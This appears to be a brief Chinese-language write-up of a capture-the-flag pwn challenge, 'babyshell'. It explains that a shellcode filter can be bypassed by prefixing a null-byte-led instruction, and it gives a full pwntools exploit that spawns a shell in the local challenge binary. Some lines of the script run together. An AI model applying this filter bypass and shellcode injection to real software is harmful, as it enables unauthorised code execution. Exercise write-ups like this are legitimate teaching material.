查看保护

查看ida

这里就是要输入shellcode，但是函数会有检测。

在shellcode前面构造一个以\x00机器码开头的汇编指令，这样就可以绕过函数检查了。

完整exp：

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./babyshell')shellcode=b'\x00\x42\x00'+asm(shellcraft.sh())p.sendafter(b'give me shellcode, plz:',shellcode)
p.interactive()